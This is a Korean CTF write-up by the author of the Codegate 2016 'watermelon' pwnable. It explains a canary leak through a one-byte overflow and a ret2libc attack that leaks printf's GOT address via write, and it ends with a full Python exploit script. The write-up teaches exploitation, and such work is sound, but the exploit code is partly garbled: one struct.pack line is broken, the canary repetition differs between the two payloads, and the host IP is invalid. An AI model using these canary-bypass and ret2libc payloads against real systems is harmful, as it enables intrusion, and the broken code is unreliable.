By in09 | March 26, 2016
Codegate 2016 watermelon 출제자 Write Up
집에 GDB 있으니 메모리 보고가라던 그녀의 Write-up을 퍼왔습니다.
코게 끝나고 이틀 쉬더니 다음날 약 한 사발 들이키고(…) 쓴 듯 합니다.
롸업을 보니 출제자와 참가자 입장을 왔다갔다 하면서 써놨더라고요.
자기가 만들어놓고 자기가 고뇌하는 본격 셀프고뇌 Write-up 되겠습니다.
출제자의 주절거림
안녕하새오 in09
애오.
오랜만임닼ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
며칠 전에 CodeGate2016의 예선이 끝났죠?ㅎㅎㅎ 어찌.. 다들 만족스러운 결과는 얻으셨는지요…
이번에 처음 문제를 출제해봤는데 출제한 문제 인증 로그가 뜰 때마다 진짜ㅠㅠㅠ
몰뤠 눈물훔쳤네 ㅎ그흐그흐그후귝흐그ㅡㄱ
참말로 뿌듯하더이다.
풀어주신 분들 감쟈감쟈(하뚜)
이왕 만든 문제 셸 맛 좀 보고싶자나..ㅎㅎ
떠먹여주는 라이트업이니
포너블 뉴비, 주니어들 함께 해요.
같이 셸 한번 따봅세.
시작해봅씨다
저는 철저히 초심자 위주임당
일단 바이너리 받으세여
파일 타입부터 확인해볼까요?
in09@ubuntu:~/CodeGate2016$ file watermelon
watermelon: ELF 32-bit LSB executable, Intel 80386,
version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=155b637b98c19cff6d3fce40c52dfe301ef746b0, stripped
32bit ELF 파일이래요 그럼 우리에게 필요한 건 모다? 32bit 리눅스! 본격적인 분석 전에 한번 실행이나 해봅씨다!
in09@ubuntu:~/CodeGate2016$ ./watermelon
-bash: ./watermelon: Permission denied
in09@ubuntu:~/CodeGate2016$ ls -al watermelon
-rw-r--r-- 1 in09 in09 16644 Mar 15 21:45 watermelon
퍼..퍼미션 디나이…따위에 지지말고
이런건 그냥 권한만 주면 됩니당ㅎㅎ
실행권한이 없어서 그래여..
in09@ubuntu:~/CodeGate2016$ chmod 755 watermelon
in09@ubuntu:~/CodeGate2016$ ls -al
total 28
drwxrwxr-x 2 in09 in09 4096 Mar 15 21:51 .
drwxr-xr-x 22 in09 in09 4096 Mar 14 05:25 ..
-rwxr-xr-x 1 in09 in09 16644 Mar 15 21:45 watermelon
뿅★
실행권한 x 보이져?
실행해보도록 하겠슴미당
# 실행!
watermelon은 플레이리스트를 추가, 수정, 출력해주는 아주 간단한 프로그램이죠?
아이다로 한번 까보도록 하겠슴당
# Function name을 보새오
Function name
윈도우를 봐주시겠어여?
함수 이름이 모두 sub 8048xxxx
이런 와중에 유독 시선을 강탈하는 하나가 잇죠? M.A.I.N
ㅎ… 요즘 아이다는 똑똑하져
파일을 스트립(변수명이나 함수명같은 심볼을 삭제하는 것)하더라도 메인을 잘 찾아주더라구요.
뭐… 좀 더 손을 쓸 순 있었으나..
800만 주니어들의 꿈과 희망을 짓밟을 수 없었기에….는 아니고 그냥 냅뒀어요.
그럼 이제 메인을 봐볼게염
# 메인을 봅시다
사스가 헥스레이..ㅠ 존엄하신 분ㅠ
함수명(혹은 변수명) 클릭 + n
하면 rename할 수 있어요.
# 함수 안으로 들어가봅시다!
그리고 요로케 함수를 더블 클릭하면 해당 함수가 어떻게 생겨먹었는지 볼 수 있답니당.
메인을 보기 편하게 rename 해보겠슴당.
# Rename한 main
짜자잔
바뀐 global_name
이 보이시나요.
우리 main function
밖에서 선언한 변수를 뭐라하져?
전역변수!
# 이거 한 번 참고 해 주겠니
전역변수는 항상 고정된 메모리에 올라오고 !@#@#%%$^@#!$%
그러고 보니 공교롭게도 얘는 사용자가 입력한 값을 받는 전역변수
네욯ㅎㅎ
뭔가 갱장히 중요할 것 같져?
후후 일단 킵!!
그리고 함수이름을 알아보기 쉽게 다시 명명했오요
헌데 case1~4
, default
다 알겠는데
case 619467295
ㅎ..? 이게 뭥미..?
# IDA에서 수표현을 바꿔봅시당
아이다에서는 수 표현을 자유자재로 바꿔줄 수 있어여(우클릭)
hex, decimal 등등 61946795가 뭔지 감이 안잡히니
char
타입으로 봤더니 \xFF\xFF\xFF\xFF
막막 c언어 초기에 이런거 배우자나여
음수를 표현할 때 2의 보수이런거 배우거…
아실려나
설명이 넘나 장황해지니 결론부터 말할게요.
저거슨 -1이랍니다!
ㅎ..? 아까 실행할 때 보이지도 않았는데.. 뭔가 냄새나잖아요.
안나면 어쩔수 없궁( ͡° ͜ʖ ͡°)~
사실 저건 암시랑 안한 그냥 훼이크였어요..
나도 저거 뭔지 몰라.. 구냥..복잡해…헤..ㅎㅔㅎ…..
자 그럼 -1 빼고 어디에 취약점이 있는지 보도록 하께염
(이제 본론 들어감ㅎ_ㅎ)
분석해봅씨다
(1) ADD 함수
v1
이 뭔지는 모르겠어요.. 근데 보니까 4400byte
나 할당하네요?
그리고 모든 함수에 매개변수로 넘어가요
add함수로 들어가서 한번 더 자세히 봐볼게여
dword_804cb88
도 add
함수 내부에서 선언되지 않은 것으로 봐서는
전역변수 인 것 같은데
이것이 100이면 Full!! You can only modify playlist.
라는 경고문을 출력해주고
그렇지 않으면 music과 artist를 계속 입력을 받네요.
그리고 입력 받은 후에는 dword_804cb88
을 증가 시키는 것으로 봐서는
입력 받은 플레이리스트의 개수를 count하는 전역변수인 듯해요.
# ADD 함수
music과 artist를 입력 받을 때 count와 매개변수 a1을 기준으로 21바이트씩 입력 받고 있죠?
(사실 여기서도 bof가 발생해요 소근소근)
- count가 0일 때를 기준으로 생각해볼게요
- music의 주소 : a1의 시작주소 +4
- aritst의 주소 : a1의 시작주소 + 24
- count가 1일 때는
- music의 주소 : a1의 시작주소 +4 + 44 *1
- aritst의 주소 : a1의 시작주소 + 24 + 44 *1
- count가 99일 때는
- music의 주소 : a1의 시작주소 +4 + 44 * 99
- aritst의 주소 : a1의 시작주소 + 24 + 44 * 99
즉 0~99개까지 100개의 플레이리스트를 입력하면 44 *100 = 4400바이트가 되죠?
# v1은 playlist 구조체 였슴당
오오오옿ㅎㅎㅎ 맞네맞앙
자 이제 가진 정보를 조합해보면?
v1은 이렇게 생긴 구조체예여
# playlist 구조체 100개로 이루어진 v1
(2) MODIFY 함수
하핳..
artist 변수를 볼까요..?
나!!!!!!!!!!!!!! B!!!!!!!!!!!O!!!!!!!!!!!!!!F!!!!!!!!!!!!!!!!!!!!!야!!!!!!!!!!!!!
라고 온몸으로 외치고 있네여
관종인가..ㅋ
플레이리스트를 수정할 때 200바이트
를 입력받는다닠..ㅎㅎㅎㅎ
일단 킵!
(3) VIEW 함수
헤헿 그저 흔한 view 나부랭이져?
(그래도 무시 ㄴㄴ해 나중에 다 씁니다요)
그럼 대강 분석을 해보았고, 취약점도 찾았꼬!!
playlist 구조체의 artist가 수정될 때 bof 취약점이 발생하니
playlist 구조체가 선언된 main의 스택을 그려보도록 하겠습니다.
# main의 지역 변수
뀨잉? 구조체
랑 v2
밖에 없넹ㅎㅎ
비록..구조체가…크…크고..아름답지만..ㅠ
# main의 스택
이게 바로 main
의 스택임다
playlist가 흘러넘치면서 v2
sfp
ret
을 다 덮고
return address를 컨트롤 할 수 있겠죰?
그럼 일단 플레이리스트 100개를 추가하고
100번째 playlist의 artist를 수정하면 되겠네요
.. 구럼 한땀한땀 낑차낑차 플레이리스트를 추..가하고…
음 100번째를 수..정할 때 a를 백 개쯤 넣…고.. 수…수정…
헤헿 이제 됬겠징!?
*** stack smashing detected ***: /home/in09/CodeGate2016/watermelon terminated
stack smashing!!!??????!!!!!!!!!!!!!!!!!!!!!!!!!???????????????????????
저능 스택따위 후려친적 없는데요..
# 시작과 끝을 장식하는 canary
왜냐면요.. 사실은… v2
가 canary
였어여
canary
는 스택 보호기법의 일환입니다.
$ gcc -fstack-protector-all –o watermelon watermelon.c
요로케 컴파일을 해주면
# canary 비교
이전과 달리 스택에 v2
가 포함되어있죠?
v2
가 정의되는 부분과 맨 마지막 메인 함수의 리턴에서 *MK_FP(GS,20) ^v2
보이심까?
요로케 프로그램 시작 전의 canary
값과 종료 직전의 canary
값을 xor 연산해
값이 변경되었는지 검증할 수 있어요.
이 말인 즉슨 버퍼가 흘러 흘러
| v2 | sfp | ret |
을 다 덮어도
프로그램이 종료되기 전에 v2(canary)를 검증하는 루틴을 포함하여
BOF가 발생했는지 여부를 판가름해 강제 종료 시켜버릴 수 있다는 겁니다!!
유가릿?!!
그럼.. 까나리.. 후… 까나리….캐너리..큭…흡… 얘 어떡하면 좋지…?
나는 까나리를 1도 모를 뿐이고…
액젓이세요..ㅠ?
고정하시고 다음을 보세요
# music과 artist는 20바이튼데… 왜 때문에 21바이트를 read해?
아까 흔한 view 나부랭이… 기억하시나요?
이게 다 철저한 계산에서 나온 것이랍니닿!
read
로 21바이트
를 입력받고 있죠?
그래서 100번째 playlist를 add할 때
a(0x61) 20개 +\n(0x0a)
을 입력하고 스택의 상황을 보도록 하겠습니다.
(gdb 사용법은 담번에 다룰게여 일단 따라오십셔)
(gdb) x/12wx $ebp-32
0xbf928358: 0x61616161 0x61616161 0x61616161 0x61616161
0xbf928368: 0x61616161 0xcec83a0a 0xb777b000 0x00000000
0xbf928378: 0x00000000 0xb75eaa83 0x00000001 0xbf928414
이 gdb의 모습을 그대로 스택에 옮기면 다음과 같겠져?
# 위의 gdb를 고대로 그려봤어여
카나리도 여러 종류가 있습니다.
널바이트 카나리
, 첫바이트만 널바이트인 카나리
등등..
요기에서는 카나리의 특성이 첫 바이트가 널 바이트인 카나리
입니다.
보통 출력함수들은 \x00 (널바이트)
을 문자열의 끝으로 인식하고 읽어들이죠?
원래라면 첫바이트가 널바이트(0xcec83a00)
이기 때문에
artist가 20바이트 입력을 받더라도 카나리는 출력되지 않지만,
100번째 playlist를 입력받을 때 artist에서 1바이트가 오버플로우가 발생
하면서
카나리의 널바이트가(0xcec83a0a) 개행문자로 덮여버립니다.
엣헴_
그런고로 100번째 aritist를 출력할 때 문자열의 끝인 \x00이 나올 때까지 출력해주겠쬬?
그러므로, 위의 스택에서 canary 첫 4바이트까지
출력해주겠네염
이렇게 나부랭이 view
함수로 canary
를 leak
해오는 검미다!!
일단 100개 채우고 출력해서 확인해볼게욤
…생략…
-----------------------------------------------------
| 99| AA
| BB
-----------------------------------------------------
| 100| AA
|aaaaaaaaaaaaaaaaaaaa
V嵠
-----------------------------------------------------
…생략…
aaaaaaaaaaaaaaaaaaaa | \n | V嵠
딱 스택에 저장되어있는 그대로 출력이 되죵?
V嵠
이게 canary
예욤ㅎㅎ 드럽게 생겨쪄?
BOF Summary
1. (add) playlist 100개를 추가해준다.(100번째 playlist의 artist에 21바이트를 써준다.)
2. (view) canary를 가져온다.
3. (modify) 100번째 playlist의 artist를 수정해준다.
| artist 20bytes | canary 4바이트 | dummy 8바이트 | sfp 4바이트 | ret |
이제 return address를 이용해 어디로 분기할 것인지만 생각하면 됩니당!
CONTROL Return Address
이제 ret
에 어떤 곳으로 분기할 것인가만 생각하면 됩니다.
바이너리에 친절하게 system(“/bin/ls”)
이런 인스트럭션이 있다면 그 주소로 분기하면 되겠지만
아쉽게도 system 함수도 없고 “/bin/ls”
문자열도 없네여..
천천히 따라오세여 맹글어드림
# /bin/sh 주소를 구해보쟝
이건 쉬워여
고정된 주소에 올라오고, 심지어 내가 원하는 input을 넣을 수 있는 변수가 있었잖아요!
0x0804d7a0
에 올라오는 전역변수 global_name
!
프로그램 시작할 때 이름을 입력받죵? 그 때 /bin/sh
를 입력해주면 됩니당!
# SYSTEM 함수의 주소를 구해보쟝
이제 요기서 plt
, got
에 대한 개념을 알아야하는데, 간단하게 설명드릴게여
system
함수는 libc
라는 라이브러리 내에 정의 되어 있고,
libc
라이브러리 내에는 갱장히 많은 함수들이 정의 되어있답니다.
라이브러리에 정의된 함수들은 매번 다른 주소에 올라와요.
근데 매번 찾아가려면 좀 빡치자나여..
그래서 main함수가 시작하기 전에 plt
테이블에 라이브러리 함수들이 좌르르륵 올라와요.
# plt, got
요롷게여 libc의 plt 테이블엔 printf, wirte, malloc 등등의 함수가 올라옵니다. 각각은 libc의 got 테이블을 참조하고 있어요.
그리고 got 테이블에 실제 함수가 로드된 주소가 있어요. 함수를 호출할 때 plt 테이블에 있는 got 테이블의 주소를 참조해 해당 함수를 호출한답니다. libc 라이브러리가 로드되는 시작주소는 다르지만, 그 내부의 함수들은 시작주소로부터 일정한 offset을 가지고 있어요.
libc의 printf의 실제 주소를 안다면 일정한 거리에 떨어져 있는 malloc의 주소를 알 수 있겠죠? 이를 이용해서 system 함수의 주소를 알아낼 수 있어요. (libc의 버전이 여러 개 있는데, offset은 버전 별로 상이하기 때문에 이를 정리해놓은 사이트를 참고하거나 해야 합니당)
저는 바이너리 내에서 사용하는 libc 함수 중에서 printf를 기준으로 system의 offset을 구할거예요.
(gdb) p printf - system
$2 = 53488
일단 전 제가 만든 문제이기 때문에 offset은 당빠 쉽게 구할 수 있겠죠? (로컬에서 테스트할 때는 오프셋을 이렇게 구해도 되지만.. 리모트의 offset은 모르기 때문에 버전 별 offset을 구해놓고 여러 번 때려봐야해요)
구럼 printf의 got주소에 53488을 더해주면 system의 주소가 되겠쪄?
그..근데.. 서버의 오프셋을 구한다한들.. 어떻게….알아오징…?ㅎ… 걱정 ㄴㄴ염 return address를 컨트롤하는데 뭐
우리에겐 write함수가 있죠?!
write(1, buf, len) 표준출력으로 buf를 len만큼 출력해주는 함수예요.
리모트에서 붙을 때는 send(soc_fd, buf, len)과 동일합니당
이 말인 즉슨 buf를 send해! 이 뜻이예요
그럼 return에 write(1, printf의 got, 4)로 값을 덮으면?
—–> 나한테 서버 printf의 실제 주소를 4바이트만큼 send해!
라는 뜻이 되겠져?
하.. 이렇게 printf 주소 recv하궁~ offset 계산하궁~ 이제 system 함수로 뛰면 되는데!!
다시 페이로드를 구성하고 싶지만.. 끝나버려쪄..ㅠ 당황하지 마세요 고갱님들 아예 payload 구성할 때 main 끝나고 write 호출 -> main 호출하면 다시 시작할 수 있잖아요! 그럼 write 함수가 끝나고 return할 때 다시 main함수를 불러주면 되겠죠?
# exploit flow
밑에 짤도 참고하새오
# exploit flow 동안의 스택의 변화
옆동네 언니가 정리해놓은 글인데 한번 봐보셔용
got plt에 대해 설명해놓은 글이애오
Exploit
import socket
import time
import struct
HOST = '111.222.333.444'
PORT = 9002
def recvuntil(s, strings):
data = ""
while strings not in data :
data += s.recv(1)
return data
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
#input name
print s.recv(64)
s.send("/bin/ls\n")
print s.recv(1024)
print s.recv(1024)
time.sleep(0.1)
for i in range(99) :
#add menu
s.send("1\n")
print "1"
print s.recv(1024)
#time.sleep(0.5)
#music
s.send("AA\n")
print "AA"
#time.sleep(0.1)
#artist
print s.recv(1024)
#time.sleep(0.1)
s.send("BB\n")
print "BB"
print s.recv(1024)
#time.sleep(0.5)
#final list######
s.send("1\n")
print "1"
print s.recv(1024)
time.sleep(0.5)
#music
s.send("AA\n")
print "AA"
time.sleep(0.1)
#artist
print s.recv(1024)
buf = "B"*20+"\n"
s.send(buf)
print buf
print s.recv(1024)
time.sleep(0.5)
#view
s.send("2\n");
print "2"
print recvuntil(s, buf)
#CANARY
tmp = s.recv(1024)
canary = "\x00" + tmp[:3]
print "[*] canary : %s " %canary.encode('hex')
print tmp
time.sleep(5)
#select modify
s.send("3\n")
print "3"
time.sleep(0.1)
print recvuntil(s,"select" )
print s.recv(100)
s.send("100\n")
print "100"
print s.recv(1024)
s.send("AA\n")
print "AA"
s.recv(1024)
time.sleep(0.5)
#modify artist : bof
payload = "A" *20 + canary *4
payload += "\x90\x85\x04\x08" #write plt
payload += "\x90\x94\x04\x08" # main
payload += "\x01\x00\x00\x00" # 1
payload += "\x10\xc0\x04\x08" # printf got leak
payload += "\x04\x00\x00\x00" # 4 length
# main function
s.send(payload +"\n")
print payload
time.sleep(0.1)
print s.recv(1024)
s.send("4\n")
print "4"
tmp=s.recv(1024).split('BYE BYE\n\n')
#PRINTF LEAK (PAYLOAD : WRITE)
print tmp[1][5:] #what's your name
print_got = tmp[1][:4]
up_pg=struct.unpack("<L",print_got)[0]
system_got= up_pg - 53488
print "print_got : %x" %up_pg
print "system_got : %x" %system_got
time.sleep(10)
###############################stage 2###########################
#GLOBAL_NAME
s.send("/bin/ls\n")
print s.recv(1024)
time.sleep(0.1)
for i in range(99) :
#add menu
s.send("1\n")
print "1"
print s.recv(1024)
#time.sleep(0.5)
#music
s.send("AA\n")
print "AA"
#time.sleep(0.1)
#artist
print s.recv(1024)
#time.sleep(0.1)
s.send("BB\n")
print "BB"
print s.recv(1024)
#time.sleep(0.5)
#final list######
s.send("1\n")
print "1"
print s.recv(1024)
time.sleep(0.5)
#music
s.send("AA\n")
print "AA"
time.sleep(0.1)
#artist
print s.recv(1024)
buf = "B"*20+"\n"
s.send(buf)
print buf
print s.recv(1024)
time.sleep(0.5)
#select modify
s.send("3\n")
print "3"
time.sleep(0.1)
print recvuntil(s,"select" )
print s.recv(100)
#select final playlist
s.send("100\n")
print "100"
print s.recv(1024)
#modify music
s.send("AA\n")
print "AA"
print s.recv(1024)
time.sleep(0.5)
#modify artist : bof
payload = "A" *20 + canary *3
payload += "BBBB"
payload += "CCCC"
payload += "DDDD"
payload += struct.pack("<Im_got) # system
payload += struct.pack("<Im_got) # system
payload += "\xa0\xd7\x04\x08" #/bin/ls
payload += "\xa0\xd7\x04\x08" #/bin/ls
print "system_got : %x" %system_got
s.send(payload +"\n")
print s.recv(1024)
s.send("4\n")
print "4"
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)
로컬에서 테스트하실 분들은 이렇게 하면 9002번 포트로 watermelon 열어서 테스트 할 수 있음다.
socat tcp-listen:9002,reuseaddr,fork,bind=0.0.0.0 exec:/home/in09/CodeGate2015/watermelon(watermelon 경로)
그럼 난 20000 뿅!